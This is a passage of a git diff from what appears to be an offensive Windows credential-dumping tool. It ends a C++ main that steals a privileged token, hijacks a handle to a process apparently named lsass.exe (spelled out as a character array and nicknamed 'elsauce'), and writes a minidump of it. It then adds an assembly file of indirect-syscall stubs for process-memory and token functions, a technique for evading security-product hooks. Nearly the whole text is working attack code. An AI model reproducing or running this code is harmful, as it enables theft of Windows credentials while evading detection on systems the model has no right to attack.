'x', 'e', '\0' }; + + HANDLE hToken = nullptr; + HANDLE hProcess = nullptr; + + hToken = FindersKeepers(luid); + if (GetPromoted(hToken)) { + hProcess = HijackHandle(elsauce); + InvokeMiniDump(hProcess); + GetDemoted(); + } + + if (hToken) CloseHandle(hToken); + if (hProcess) CloseHandle(hProcess); + + system("pause"); + return 0; +} diff --git a/src/syscalls.asm b/src/syscalls.asm new file mode 100644 index 0000000..f9c4904 --- /dev/null +++ b/src/syscalls.asm @@ -0,0 +1,100 @@ +.data +jumpAddress dq 0 ; Variable to hold address of 'syscall-ret' trampoline + +.code +SetJumpAddress proc ; Function to set jumpAddress + mov [jumpAddress], rcx ; Assume the new address is passed in RCX + ret +SetJumpAddress endp + +NtReadVirtualMemory proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+30h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtReadVirtualMemory endp + +NtWriteVirtualMemory proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+30h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtWriteVirtualMemory endp + +NtProtectVirtualMemory proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+30h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtProtectVirtualMemory endp + +NtOpenProcess proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+28h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtOpenProcess endp + +NtDuplicateObject proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+40h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtDuplicateObject endp + +NtQueryObject proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+30h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtQueryObject endp + +NtOpenProcessToken proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, r9 ; Move syscall ID into RAX register. Syscall ID is fourth parameter passed. Assume it's in R9. + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtOpenProcessToken endp + +NtQueryInformationToken proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+30h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtQueryInformationToken endp + +NtAdjustPrivilegesToken proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+38h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtAdjustPrivilegesToken endp + +NtDuplicateToken proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+38h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtDuplicateToken endp + +NtQuerySystemInformation proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+28h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtQuerySystemInformation endp + +NtClose proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, rdx ; Move syscall ID into RAX register. Syscall ID is second parameter passed. Assume it's in RDX. + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtClose endp + +NtSetInformationThread proc + mov r11, [jumpAddress] ; Load indirect syscall address into R11 register + mov rax, [rsp+28h] ; Move syscall ID into RAX register + mov r10, rcx + jmp r11 ; Indirect syscall via jump to address stored in R11 +NtSetInformationThread endp +end